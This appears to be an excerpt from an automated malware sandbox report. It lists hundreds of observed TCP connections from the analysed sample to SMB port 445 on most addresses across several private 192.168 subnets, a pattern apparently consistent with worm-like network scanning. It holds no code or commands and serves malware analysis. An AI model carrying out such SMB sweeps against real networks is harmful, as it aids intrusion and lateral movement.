Source: global traffic	TCP traffic: 192.168.3.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.143:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.159:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.157:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.158:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.151:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.152:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.150:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.155:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.156:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.153:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.154:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.160:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.126:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.124:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.125:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.128:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.129:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.122:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.123:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.120:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.121:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.137:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.138:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.135:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.136:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.139:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.130:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.133:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.134:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.131:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.132:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.145:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.146:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.147:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.148:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.149:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.140:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.141:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.142:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.143:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.144:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.104:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.105:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.102:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.103:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.108:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.109:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.106:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.107:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.100:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.101:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.156:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.157:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.158:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.159:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.150:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.151:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.152:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.153:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.154:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.155:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.113:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.114:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.111:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.110:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.123:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.124:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.125:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.126:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.128:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.129:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.120:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.121:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.122:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.203:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.204:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.201:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.202:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.207:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.208:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.205:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.206:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.200:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.134:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.135:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.136:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.137:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.138:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.139:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.209:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.130:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.131:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.132:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.133:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.214:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.215:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.212:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.213:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.218:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.219:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.216:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.217:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.210:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.211:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.101:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.102:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.103:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.104:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.105:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.106:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.107:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.108:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.39:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.38:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.100:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.42:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.41:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.44:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.43:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.46:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.45:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.48:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.47:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.40:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.113:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.114:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.28:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.27:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.29:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.110:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.111:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.31:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.30:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.33:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.32:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.35:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.34:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.37:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.36:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.109:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.83:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.20:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.84:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.85:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.22:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.86:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.21:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.87:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.24:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.23:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.88:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.89:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.26:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.25:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.80:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.81:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.82:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.69:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.72:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.73:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.74:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.75:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.76:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.77:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.78:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.79:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.70:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.71:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.86:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.85:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.88:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.87:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.89:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.80:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.82:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.81:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.84:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.83:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.75:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.74:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.77:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.76:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.79:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.78:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.71:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.70:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.73:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.72:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.64:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.63:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.66:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.65:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.68:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.67:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.69:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.60:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.62:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.61:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.49:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.53:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.52:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.55:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.54:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.57:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.56:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.59:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.58:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.51:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.50:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.2:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.4:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.3:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.14:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.15:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.9:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.16:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.6:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.5:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.8:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.7:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.20:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.21:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.22:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.23:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.24:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.10:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.11:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.12:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.13:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.3:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.2:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.9:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.8:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.5:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.4:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.7:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.6:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.170:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.172:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.171:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.58:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.59:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.61:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.62:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.63:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.64:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.65:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.66:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.67:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.68:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.178:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.177:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.179:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.174:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.173:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.176:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.60:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.175:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.161:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.160:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.47:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.16:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.48:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.15:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.49:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.50:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.51:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.52:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.53:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.54:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.55:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.56:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.57:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.167:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.166:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.169:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.168:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.163:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.162:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.165:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.164:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.192:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.191:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.194:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.193:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.190:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.36:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.37:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.38:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.39:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.40:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.41:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.10:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.42:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.43:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.12:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.44:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.11:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.45:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.14:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.46:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.13:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.199:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.196:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.195:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.198:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.197:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.181:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.180:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.183:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.182:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.25:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.26:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.27:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.28:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.29:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.30:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.31:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.32:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.33:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.34:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.35:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.189:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.188:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.185:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.184:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.187:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.186:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.138:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.137:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.139:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.134:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.133:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.254:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.136:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.135:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.130:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.251:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.250:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.132:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.253:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.131:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.252:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.248:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.126:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.247:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.129:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.128:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.249:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.123:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.244:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.122:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.243:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.125:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.246:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.124:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.245:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.240:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.121:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.242:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.120:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.241:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.150:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.159:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.156:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.155:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.158:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.157:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.152:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.151:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.154:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.153:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.149:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.148:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.145:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.144:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.147:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.146:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.141:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.140:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.143:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.142:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.180:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.181:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.219:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.218:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.215:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.214:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.217:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.216:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.184:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.211:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.185:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.210:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.182:445	Jump to behavior
